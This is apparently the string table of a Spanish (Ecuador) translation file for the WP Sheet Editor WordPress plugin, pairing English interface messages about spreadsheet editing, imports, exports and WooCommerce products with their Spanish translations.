failed.This will be displayed when the current user is not logged in and tries to see a spreadsheet page. We will display a login form after your message.This will delete the rows from your database completely and the only way to undo this change is to restore a backup. Please make a backup in case you might need to undo this later.This will disconnect your Google account from WP Sheet Editor which will stop all sync jobs configured with that Google account across all your WordPress sites. But other users can connect their own Google account, so other users' sync jobs linked to their own Google accounts will remain unaffected. Are you sure you want to disconnect your Google account completely?This will hide the "help" option in the top toolbarThis will save you {clicks_count} clicks :)Thousands separatorTime saved
                  (estimated)Time unitTinyMCE EditorTip. If you edited information from this site, you should import the columns edited and record_id. Don't import columns that weren't modifiedTip. We can help you with the spreadsheet setup. Get instant help in the live chat during business hoursTip. You can use the "export" tool to download a CSV and see the available columns and format.
                  You can read our documentation here.TitleTo search among all posts use the Search tool. Use this to locate and highlight one value in the loaded rows in the spreadsheet. I.e. highlight a SKU or email or title.Tools located above the table.Total salesTranslate separatelyTurn this on and the spreadsheet will save automatically all the changes made on the cells every 2 minutes. Careful, this might cause issues if the changes are saved prematurely before you finish editing all the required columns.TutorialTypeURLURL SlugUnfiltered HTMLUnselect allUnselect all columnsUpdate existing items, ignore new itemsUpdate existing value with the result of a math operation.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Update settingsUpdate the lookup table and run the WC Webhooks always?Upload imageUpload the fileUpload the filesUploaded by userUploaded to this itemUpsellsUsage statsUse an infinite list instead of paginationUse as featured imageUse defaultUse pagination in the spreadsheet?Use prices from simple product (parent) on the variationsUse separate columns for images during export and import?Use slower execution method?Use this editor to edit the content only, other fields like tags and categories should be edited on the spreadsheet.Used for Variations?Used for variation?User capabilities that can edit this columnUser capabilities that can read this columnUser dropdownUser not allowedUser not allowed to edit rowsUser rolesUser roles that can use the spreadsheet editorUsernameUsersUsing this tool you can update thousands of rows at onceValueValue in the replace section is not validVariation descriptionVariation enabled?Variation: %sVariations ManagerVariations dont use URL slugs but this can be useful if you want to see the previous URL of the variation after you converted a simple product into a variation.VendorViewView ExtensionsView GalleryView SpreadsheetView SpreadsheetsView extensionsView logVirtualVisibilityWP EditorWP Sheet EditorWP Sheet Editor UsageWPBakery Page BuilderWPML - DuplicateWPML - LanguageWPML - Missing translations in these languagesWPML - RelationshipWPML - Translation ofWPML - Translation priorityWarning: Please make a backup before copying variations in case you want to undo the changes later.Watch tutorialWe are saving now. Don't close this window until the process has finished.We automatically allow columns for variations if at least one variation is using that field.We automatically detected all the columns.We automatically round up to 2 decimals. You can enter any number here, for example, 1 to round to 1 decimalWe can scan the database, find new fields, and create columns automatically for the supported fields.We didn't find rows for the export. Please try another search query.We didn't find rows to update from the search query. Please try another search query.We don't have variations to copy.We find rows with the same value in the CSV Field and the WP Field.
                  I.e. Products with same SKU or ID.We found similar columns. Do you want to apply the same action to them? {columns}We have +200 tutorials and guides on our blogWe have an extension for displaying this spreadsheet on the frontend. You can select the columns to display, and select the spreadsheet tools for the frontend users (search, bulk, edit, import, export, etc.). For example:We import the file in batches (i.e. 4 rows every few seconds). When one batch fails, we normally pause the import and ask you if you want to retry or cancel the import. Select this option to auto retry. Careful, you need to select the option to update existing rows in step 3 of the import, so we can retry and skip what was imported successfully and only retry what failed, if you dont select the option to update in step 3 of the import, every retry might duplicate some previously imported rows.We limit the list of fields to 1000 meta fields to avoid memory leaks/performance issues. If you want to search by a field that does not appear in the dropdown, increase this number.We limit the spreadsheet columns for performance reasons to avoid loading thousands of columns on the spreadsheet. You can increase this limit if you want to display more columns. Default: 310We need to reload the Spreadsheet to remove the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We need to reload the spreadsheet rows to load the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We recommend that you create a message that looks like it was written personally, you should add your logo, message, and email signature. You can use variables to insert the value of any column.We show a popup asking you to install free extensions when we detect that you are using a third-party plugin that requires special compatibility, which helps us prevent errors.We use pagination to use few server resources. We load 20 rows first and load 20 more every time you scroll down. You can increase this number to load more rows per page. CAREFUL. Loading more than 200 rows per page might overload your server. If we detect that the server is overloaded we will automatically reset to 10 rows per page.We use pagination. By default we load 20 rows per page (every time you scroll down). You can increase the number to load more rows every time you scroll down.We will append the new file to the existing files in the products. Enter file URL only, you can enter multiple URLs separated by comma.We will append the new file(s) to the existing media file(s).We will create columns for these custom attributes.We will delete this meta field from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will delete this serialized field, which includes all its subfields, from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will display all the columns that were deleted or disabled, renamed columns will show the original titles, we will rescan the database to find columns again, and the speed/advanced settings will be reset to the defaults. This only affects settings of our plugin and it does not affect the data edited with the sheet.We will not execute our removal of duplicate rows when the line breaks are allowed, so you might see duplicate rows in the export files in rare cases.We will prepend the new file(s) to the existing media file(s).We will remove all the html tags by default. Activate this option to allow safe html tags, like b, span, i, etcWe will replace the existing media file with this file.We will replace the existing media file(s) with these file(s).We will replace the existing terms with these terms.We will save the current search query and export settings, and you can execute this export with one click in the future using the dropdown in the export menuWe will save these files. Existing files will be overwritten. Enter file URL only, you can enter multiple URLs separated by comma.We will save this group of columns as a spreadsheet view and you can switch between spreadsheets in the toolbarWe'll reload the spreadsheet when you change this option.We'll sort the rows in the spreadsheet by this field. We recommend you sort based on fields that have values in all the rows in order to get more accurate results. For example, it's better to sort 1k products by Title ASC because you know that all the rows will be sorted accurately, but if you sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the 500 rows without SKU could potentially have random order as we don't have any value to sort them accurately.WeeksWeightWelcome to WP Sheet EditorWhat app will you use to edit this file? (optional)What attribute do you want to edit?What cell format to use for the taxonomy columns?What columns do you want to export?What component do you need?What date format do you want to display in the spreadsheet?What date format do you want to save in the database?What date time format do you want to display in the spreadsheet?What field do you want to edit?What information do you want to edit on the frontend?What kind of posts require this column in the spreadsheet?What setting do you want to change?What value is saved when the checkbox is checked?What value is saved when the checkbox is unchecked?What's new on WP Sheet EditorWhen the sheet loads and saves post content, we run it through wpautop to prevent issues with line breaks. You can disable this if you dont want to see/save the p tags in the content.When the sheet loads, we open it in full screen and you have the option to exit the full screen mode. Activate this option and we wont open the sheet in full screen.When this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the pageWhen this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the page. You can enable / disable in the spreadsheet too.When this is enabled the products variations will be displayed and you will be able to edit them.When you delete posts, pages, events, products, orders, coupons, and other post types, you can select how many will be deleted on every batch. Use a higher number to finish faster. Default is 500When you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. But your server can't handle all the batches one after another so we need to wait a few seconds after every batch to give your server a little break. The recommended value is 6 seconds, you can adjust it as it works best for you. If you get errors when saving you should increase the number to give your server a longer break after each batchWhen you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. The recommended value is 4 , which means we will process only 4 posts at once. You can adjust it as it works best for you. If you get errors when saving you should lower the numberWhen you finish downloading the plugins, you need to go to wp-admin > plugins > add new and install them.When you finish this step you can start using the frontend editor. You can add the frontend page to a menu or share the link with your users.When you have 1000 posts , you might want to open the spreadsheet and start editing from post 200. This option lets you skip a lot of rows. IMPORTANT. We use the pagination, so we will display the page closest to that number. For example. If you load 10 rows per page and enter 1205 as offset, the sheet will start from page 120 (index 1200) because it is the page closest to the defined offset.When you import an image using FTP urls, the image is imported every time and you might end up with duplicates in the media library. Activate this option to reuse images in the media library with same file name and avoid downloading the FTP image again on future imports. Deactivate this option if you want to keep the images updated on future imports.When you load the spreadsheet, we get all the columns at once from the database to make it faster, this is called prefetch. This can cause issues if you have thousands of columns or rare database setups.When you open the spreadsheet, we load the rows automatically so you can start editing right away. Activate this option if you want to search rows and load manually.When you use WordPress multisite and you delete a user in the users spreadsheet, by default we only remove the user from the current site but the user remains in the network. Activate this option if you want to delete the user account from the entire networkWhich duplicates do you want to delete?Which rows do you want to export?Which variations do you want to copy?WidthWith our editor you will be able to edit all the information of
                  your %s saving you a lot of time.With these filesWith thisWith this fileWith this termWooCommerce - BASIC integrationWooCommerce - Products IntegrationWooCommerce CouponsWooCommerce Coupons SpreadsheetWooCommerce Customers SpreadsheetWooCommerce Orders SpreadsheetWooCommerce productsWordPress FieldWordPress fieldWordPress uses the heartbeat API to check the login status every few seconds. This can overload your server because it could make hundreds of requests when you are editing in the spreadsheet. You can disable it to reduce the stress on your server while editing in the sheet. However, if you keep the spreadsheet opened over multiple days your login session can expire and you wont be notified if you disable the heartbeat and this can cause issues while saving. So use this option only when you use the spreadsheet for a few hours only.Writing type not allowed.Wrong data formatWrong file extension. We accept CSV onlyWrong file urlWrong product type. Make sure it is a variable product.XYOAST SEOYearsYesYes, remove everything after the text, including the textYou are not allowed to do this action. Please reload the page or log in again.You can activate this option if you want to add html classes, and use those html classes to change the cell colors for each status using custom CSSYou can change the language of this post. If the translation for the new language exists, this change will not be applied.You can convert simple products into variable products. You can copy variations into a simple product and keep the prices from the simple product on the variations.You can create new items hereYou can do this multiple timesYou can edit your Media information like:You can edit your WooCommerce products information like:You can find all the settings here, like columns visibility, etc.You can read our FAQ with a list of hundreds of questionsYou can resize the editorYou can search by any field using operators. I.e. price > 100, image != (empty)You can select the rows for the edit in the first option of this form.You can start using the spreadsheet editor in just 5 minutes. Please follow these steps.You can use variables to insert the value of any column.You do not have permission to delete posts.You dont have enough permissions to create new rows.You dont have enough permissions to do this action.You dont have enough permissions to execute this action.You dont have enough permissions to load rows.You dont have enough permissions to save changes.You dont have enough permissions to search taxonomy terms.You dont have enough permissions to view this page.You entered an invalid formula. Please double check or contact us.You have modified posts. Please save the changes because we will refresh the spreadsheet.You have modified posts. Please save the changes because we will refresh the spreadsheet. Do you want to refresh now?You have modified rows. Please save the changes before removing columns from the spreadsheet.You must enter a file name in this field (not full path) and upload the file to the folder %sYou must enter the full hierarchy like parent > childYou need to configure your Google Maps API key to save the Google Maps columns. This is required by Advanced Custom Fields, you can follow this tutorialYou need to load the rows manually because you deactivated the automatic loading of rows. Change the settingsYou need to login to view this page.You need to set a logo in the settings page. Optionally you can change the background color, links color, and set a header menu.You selected 0 rows to be deleted completely.You selected a column from the CSV file below but the column is not
                  being imported. Please go to the previous step and select the column to be imported.
                  Hypothetical example, if you want to update existing products with same ID, you need to import the ID column otherwise we don't have the IDs to find them.You will be able to type numbers without formatting, for example: 999999.88 or 100, and we will automatically save them in the formatted way. This conversion will happen when you save and not live when you edit in the cells and you will see the modified values on the next spreadsheet reload.You will be able to type the post title in the cell and the cell will show a dropdown with suggestions.You will be able to type the term name in the cell and the cell will show a dropdown with suggestions.You will be able to type the username in the cell and the cell will show a dropdown with suggestions.Your server was not able to process this batch. Do you want to try again?Your server was not able to process this batch. Do you want to try again? You can retry 3 times, If 3 attempts fail we will stop the import completely.emptyis featured?orto{deleted} duplicates have been removed.{total_created} of {total} variations created.{updated} attributes have been merged.{updated} items saved of {total} items that need saving.Project-Id-Version: Report-Msgid-Bugs-To: PO-Revision-Date: 2023-07-19 13:16-0600 Last-Translator: Language-Team: Language: es_EC MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 3.3.1 (Puedes remover estos mensajes de ayuda en los ajustes avanzados) (Premium. Probar Gratis por 7 Días ) Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los archivos de exportación se borran automáticamente después de %d horas. Algunas columnas tienen el botón para cambiar el formato%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas actualizadas y {total_created} filas creadas.%s filas serán editadas.%s variaciones creadas.%s: Hojas de cálculo permitidas(Instalar extensión gratuita)(Extensión Pro)- -- Primero, edita un elemento en el editor normal y rellena todos los campos manualmente.- Si la solución anterior falló, puedes crear nuevas columnas manualmente.- Quizá eliminaste las columnas de la lista.- Podemos ayudarte.- Podemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente. Versión Lite. Mostrando todos los productos y todos los campos como columnas, 15 columnas son editables y el resto son sólo de lectura.
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, editar todos los campos en miles de productos a la vez.. Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de Trabajo. Agrega categorías hijas usando este formato: Padre > hija1 > hija2. Recomendamos que incrementes la memoria del servidor al menos hasta 256mb para prevenir errores del servidor. Tutorial...1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las primeras 5 filas del archivo.2. Por favor, haz una copia de seguridad antes de ejecutar la importación, para que puedas revertirla en caso de que hayas usado una configuración incorrecta o el archivo sea erróneo. La importación guardará la información directamente.Leer más.Editando el campo: {field_label}Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona.Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, hacer búsquedas avanzadas, ver toda la información en una página, y más.Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez sin colapsar tu servidor, ver toda la información de envío/facturación/buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho más. Descargar el Plugin Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de productos en una hoja de cálculo, realizar búsquedas avanzadas, editar cientos de variaciones a la vez, copiar variaciones a varios productos, etc. Descargar PluginConsejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes errores al guardar? Guardar menos filas por loteWP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas a la vez en nuestra hoja de cálculo. Abrir en una hoja de cálculo
                  Usar el cupón: %s

                  La exportación finalizó.

                  La descarga debería empezar automáticamente.

                  WP Sheet Editor

                  ¿Quieres instalar el plugin premium que compraste? Sigue estos pasos:

                  1. Si estabas usando la versión gratuita del plugin antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. Cuando compraste el plugin, recibiste un correo electrónico con el enlace de descarga y la clave de licencia.
                  3. ahora ve a esta página y haz clic en el botón "Subir plugin".
                  4. Sube el archivo zip del plugin.
                  5. Activa el plugin.
                  6. Verás una pantalla solicitándote la licencia. Ingresa la licencia.
                  7. Listo. Ahora deberías ver la página de bienvenida donde puedes configurar y comenzar a usar el plugin.

                  Si necesitas ayuda, puedes contactarnos

                  ¿Falta una columna?

                  o
                • El rol de administrador de tienda puede ver y editar productos WooCommerce.
                • Añadir una herramienta de "duplicar" a la hoja de cálculo. Puedes seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias.

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la hoja de cálculo automáticamente. Así que puedes editar campos personalizados fácilmente.

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para los mercados donde los vendedores deben editar los productos en la hoja de cálculo, permitir el envío de entradas o eventos en el frontend, directorios de eventos, aplicaciones web, tableros personalizados, etc.

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: Copiar el precio normal al precio de rebajado, actualizar los nombres de los atributos de los productos, etc.

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, "Precio normal x Precio de inventario / Precio rebajado

                  Editar el título, la descripción, la palabra clave y la puntuación de SEO en la hoja de cálculo

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo de productos, incluyendo Productos Variables, Productos Descargables, Productos Externos, Productos Simples. Puedes editar todos los campos de productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo perfiles básicos y realizar búsquedas básicas.

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de membresía, directorios de eventos, directorios de negocios, directorios de usuarios.

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos los post types personalizados.

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o campos personalizados.

                  Buscar en múltiples campos con operadores avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar productos de la categoría Audio con inventario < 20, o productos de la categoría Manzana sin imagen destacada, o productos que contengan la palabra clave "Google" y que no tengan galerías de imágenes.

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los clientes de WooCommerce, los comentarios de los eventos, los testimonios y las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas por cualquier campo (palabra clave, nota de pedido, estado, encontrar comentarios por post type, y todos los campos). Puedes editarlos masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas externos, importar comentarios y reseñas de otros sistemas, y más.

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. Importar. Eliminar filas en lotes. Y mucho más.

                  Una hoja de cálculo para categorías, etiquetas, atributos de productos, categorías de eventos, categorías de portafolios, etiquetas inmobiliarias, etc. Ver y editar todos los ítems en un solo lugar. Copiar y pegar. Subir imágenes de categorías rápidamente. Agregar descripciones. Edita el SEO. Y mucho más.

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y guardarlo para sesiones futuras.

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y autor.

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los campos de cupones. Búsqueda avanzada por cualquier campo. Generar automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. Y mucho más.

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. Crear descargas y archivos masivamente. Editar cientos de productos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más.

                  Ver todos los eventos del plugin The Events Calendar en una hoja de cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y mucho más.

                  Ver el perfil completo de todos tus clientes de WooCommerce en una hoja de cálculo. Editar perfiles rápidamente. Ver y editar la información de facturación y envío. Realizar búsquedas avanzadas de perfiles de clientes. Exportar clientes a Excel o Google Sheets. Importar clientes desde aplicaciones externas.

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, productos, etc.). Exportar pedidos e información de clientes incluyendo clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  Ver los archivos de imagen, vídeo y todos los archivos de la Biblioteca de medios de WordPress en una hoja de cálculo. Editar todos los campos de los archivos, incluyendo el texto alternativo, la leyenda, las descripciones de los archivos. Hacer búsquedas avanzadas por cualquier campo. Generar de manera automática los textos alternativos, las leyendas, etc. usando el título o las categorías de las entradas principales. Actualizar miles de archivos a la vez. Y mucho más.

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la esquina de la celda a otras celdas, como lo haces en Excel.

                  Puedes crear columnas para campos personalizados.
                  Editar la configuración de la página añadida por el tema, los detalles del evento, la información de los productos, etc.

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar de mostrar "Autor" en la hoja de cálculo, puedes cambiarlo a "Subido por".

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de cálculo.

                  Editando el campo: {column_label}. Filas a procesar: {total}, Progreso: {progress_percentage}%%, Hemos actualizado {edited} filas.

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los ajustes de la edición masiva son correctos antes de ejecutar.

                  Completo

                  .

                  Extensiones gratuitas

                  Envía notificaciones por correo electrónico a los usuarios de forma masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/miembros de un foro/afiliados/comentaristas del blog por país, ciudad, estado, recuento de pedidos, etc., y enviarles correos electrónicos importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar la entrega de los correos electrónicos y tener en cuenta el consentimiento de los usuarios y las leyes de privacidad.

                  El guardado automático falló. Tus cambios no se guardaron completamente debido a un error. Puedes intentarlo de nuevo más tarde. Si el error persiste, contacta a nuestro equipo de soporte y mantén esta pestaña abierta.

                  El cambio masivo ha sido programado. Puedes cerrar esta ventana emergente. Ver los cambios masivos programados.

                  El cambio masivo no se aplicó completamente. El proceso fue cancelado debido a un error.

                  Puedes cerrar esta ventana.

                  Los cambios han sido programados. Puedes cerrar esta ventana emergente. Ver los cambios programados.

                  Los cambios no se guardaron completamente. El proceso fue cancelado debido a un error .

                  Puedes cerrar esta ventana emergente.

                  La exportación se ha programado. Puedes cerrar esta ventana emergente. Ver las exportaciones programadas.

                  La importación ha sido programada. Puedes cerrar esta ventana emergente. Ver las importaciones programadas.

                  La importación ha terminado

                  Puedes cerrar esta ventana.

                  El proceso ha terminado

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y gestionar rápidamente tu sitio web de donaciones.

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, descripción, fecha, SKU, precio normal, precio rebajado, estado de inventario, gestión del inventario, cantidad de existencias.

                  Más columnas y tipos de producto disponibles como extensión premium.

                  ¿Merecemos 5 estrellas? Sí, lo merecen. . - . No¿Falta una columna?¿Falta una columna? Habilítala ¿Faltan campos? Haz clic aquíACF: ¿Mostrar las casillas de verificación como desplegados de selección múltiple?Aceptar posts de este post typeAceptar términos de esta taxonomíaAcciónActivar el modo de pantalla completaActiva esta opción para eliminar los botones de paginación y cargar las filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas al mismo tiempo, puedes cargar miles de filas sin problemas.Filtros activos:Activo.Añadir NuevoAgregar nuevas columnas a la hoja de cálculoAgregar Nueva Hoja de CálculoAgrega un nombre para este grupo de columnasAñadir una llamada a la acción o cualquier texto al principio o al final de tus postsAñadir columnas nuevas para campos personalizadosAgrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la fecha existente está vacía, usaremos la fecha actual como base.¿Añadir clases html a las celdas " estado de la entrada " en función de sus valores?Añadir nuevoAñadir nueva columnaAñadir un nuevo post typeAgregar tiempo a las fechas existentesEl rol de administrador puede ver y editar todo.Advanced Custom FieldsBúsqueda AvanzadaAjustes AvanzadosModo avanzadoBúsqueda avanzadaConfiguración avanzadaTodas las Hojas de CálculoTodos los cambios fueron guardados.Se han guardado todos los elementos.Todas las funciones disponibles en la hoja de cálculo del backend pueden utilizarse en el frontend.Todos los parámetros se utilizarán para buscar variaciones en lugar de los productos principales.Todos los productos de la tiendaTodas las filas de mi lista actualTodos los productos variablesPermitirPermitir reservasPermitir saltos de línea en valores al exportar e importar?¿Permitir varios archivos por campo?¿Permitir varios posts por campo?¿Permitir varios términos por campo?Permitir HTML seguro en títulos de posts?¿Permitir editar esta columna en las filas de variaciones?¿Permitir editar usando fórmulas?¿Permitir ocultar la columna?¿Permitir ocultar esta columna en la página de ajustes?¿Permitir la importación de imágenes desde servidores FTP?¿Permitir renombrar la columna en la página de ajustes?¿Permitir renombrar la columna?¿Permitir ver el slug de la URL de la variación?¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier html en la columna de contenido del post?Permitir a los usuarios editar campos personalizados, añadir nuevas columnas al editor, habilitar campos, deshabilitar campos principales y ordenar los campos. Puedes personalizar completamente el editor frontend.Permite a tus clientes editar productos WooCommerce usando la hoja de cálculo sin tener que usar el escritorio de wp-adminPermite a los vendedores de tu mercado editar los productos masivamentePermite a los vendedores de tu mercado importar productos en el frontendPermite que tus lectores entreguen entradas del blog usando la hoja de cálculoPermite a los compradores de tu tienda descargar el catálogoPermite a los clientes de tu tienda realizar búsquedas avanzadas en el catálogo Permite a los empleados de tu tienda gestionar el inventario y los preciosPermite a tus visitantes publicar eventosPermitir, pero se avisará al clienteValores permitidosDescargadaTexto alternativo¿Ejecutar siempre la acción save_post después de editar cualquier fila de la entrada?Y más.Y ver vistas previas durante la ediciónCualquiera de estos valores (Ingresa múltiples valores separados por ;)Añadir al finalAplicación/SoftwareAplicar cambios masivamenteAplicar ajustes¿Seguro de que quieres borrar este post type? También borrarás los post en el post type¿Estás seguro de que quieres borrar esta columna?¿Estás seguro de que quieres eliminar esta vista de columnas?¿Estás seguro de que quieres eliminar esta tarea programada y todos sus archivos relacionados?¿Acoplar cada término de taxonomía de la jerarquía a los posts?Atributo %d por defectoAtributo %d globalNombre del atributo %dValor del/los atributo(s) %dAtributo %d visibleNombre del atributoValor(es) del atributoVisibilidad del atributoAtributosLos atributos aparecen como desplegables en la página del producto, donde el usuario puede seleccionar los colores, tamaños y cualquier atributo de la variación. Aquí se pueden definir las opciones por defecto seleccionadas en los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo funciona para Productos Variables y deben tener variaciones, de lo contrario los atributos por defecto no se guardarán.AutorEl rol de autor sólo puede ver y editar sus propios post y subir imágenes.Automático (por defecto)¿Reintentar automáticamente los lotes fallidos?Autocompletar las celdasAutomáticoComponentes disponiblesHojas de cálculo disponiblesHerramientas disponibles (opcional)Puntuación mediaBackend¿Permitir reservas?Compatibilidad con versiones anteriores. Este ajuste se eliminará en futuras actualizaciones.Búsqueda básicaPoner estas columnas en la lista negraMasivoEditor MasivoFunción de cambios masivosAcciones masivasEditar esta columna masivamenteCambio masivo no ejecutado. No se han encontrado elementos que cumplan los criterios.ComprarComprar el paquete¡Compra la extensión ahora!Por defecto, WordPress muestra una barra negra en la parte superior de la página cuando un usuario que ha iniciado sesión ve una página del frontend. La barra te permite acceder a wp-admin, cerrar sesión, editar la página actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar el código abreviado: [vg_display_logout_link] para mostrar el enlace de cierre de sesión.Por defecto, las fechas se muestran en un calendario, el contenido del post tiene una opción de editor de texto, las imágenes muestran una vista previa, etc. Puedes habilitar esta opción para que se muestre todo como texto sin formato y deshabilitar el formato elegante.Por defecto mostramos automáticamente columnas para todos los nuevos campos encontrados, así que cada vez que detectamos nuevos campos puedes verlos y editarlos inmediatamente. Pero esto puede "romper" tu orden de columnas o molestarte si has habilitado columnas específicas. Habilita esta opción para generar esas columnas pero dejarlas desactivadas para que puedas habilitarlas más tarde.Por defecto, mostramos comentarios en algunas columnas indicando el formato del valor o por qué están bloqueados. Por ejemplo, la columna de categorías muestra un consejo que indica que hay que separar los términos con una coma y cómo añadir categorías menores, las columnas de variaciones tienen un consejo que indica por qué están bloqueadas para los productos de los padres. Puedes activar esta opción para desactivar esos consejos.Por defecto, mostramos los estados del NÚCLEO: publicado, borrador, privado, programado, papelera. Sin embargo, algunos plugins registran estados personalizados: gestores de trabajos, comercio de madera. Habilita esta opción para mostrar todos los estados personalizados en la columna "status". CUIDADO. Mostraremos todos los estados de todos los post types en el desplegable porque es imposible saber el post type de cada estado al no poder separarlos. Haz esto sólo si eres un desarrollador.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los ID de los términos separados por comas.Por defecto mostramos las categorías como nombres separados por comas. Habilita esta opción para mostrar y guardar los términos separados por comas.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y deshabilitar la lista infinita.Por defecto, usamos una lista infinita de filas y cargamos más filas cada vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar los enlaces de paginación y desactivar la lista infinita.Por defecto, copiaremos todos los atributos y todas las variaciones y reemplazaremos las variaciones existentes. Puedes habilitar esta opción para copiar variaciones individuales y añadirlas a las variaciones existentes en el producto de destino.Por defecto, por razones de rendimiento, activamos los eventos de la API WC cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos de la API de WC cuando se edite cualquier campo, incluidos los campos no relacionados con WC.Por defecto, si el producto es variable, activamos la opción "Usar para variaciones" para ahorrarte tiempo y que puedas crear tus variaciones más rápido. Pero si prefieres activar esa opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, la columna "padre" muestra títulos y guarda utilizando títulos. Si habilitas esta opción, la columna mostrará IDs y guardará IDs. Esto es útil si tienes títulos duplicados y necesitas guardar el padre exacto por ID.Por defecto, el importador permite guardar imágenes usando URLs internas completas, URLs externas, nombre de archivo (de la biblioteca multimedia) e IDs de archivo. Si habilitas esta opción, soportará URLs FTP como esta: ftp://user:password@host:port/path/to/image.png. Esto hará que la importación sea más lentaBy default, we create 100 copies per batchPor defecto, exportamos e importamos una columna llamada "Imágenes" con la imagen destacada y galería combinada. Habilita esta opción para exportar e importar una columna para la imagen destacada y una para la galería de imágenes.Por defecto, hacemos visibles los atributos en los productos cuando guardas cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si prefieres habilitar esta opción manualmente en atributos específicos, puedes activar esta opción.Por defecto, sólo asignamos el último término de la jerarquía a las entradas porque WordPress las gestiona correctamente de forma automática. Pero si quieres asignar cada término a la entrada, incluyendo las categorías padre, habilita esta opción.Por defecto, sólo mostramos 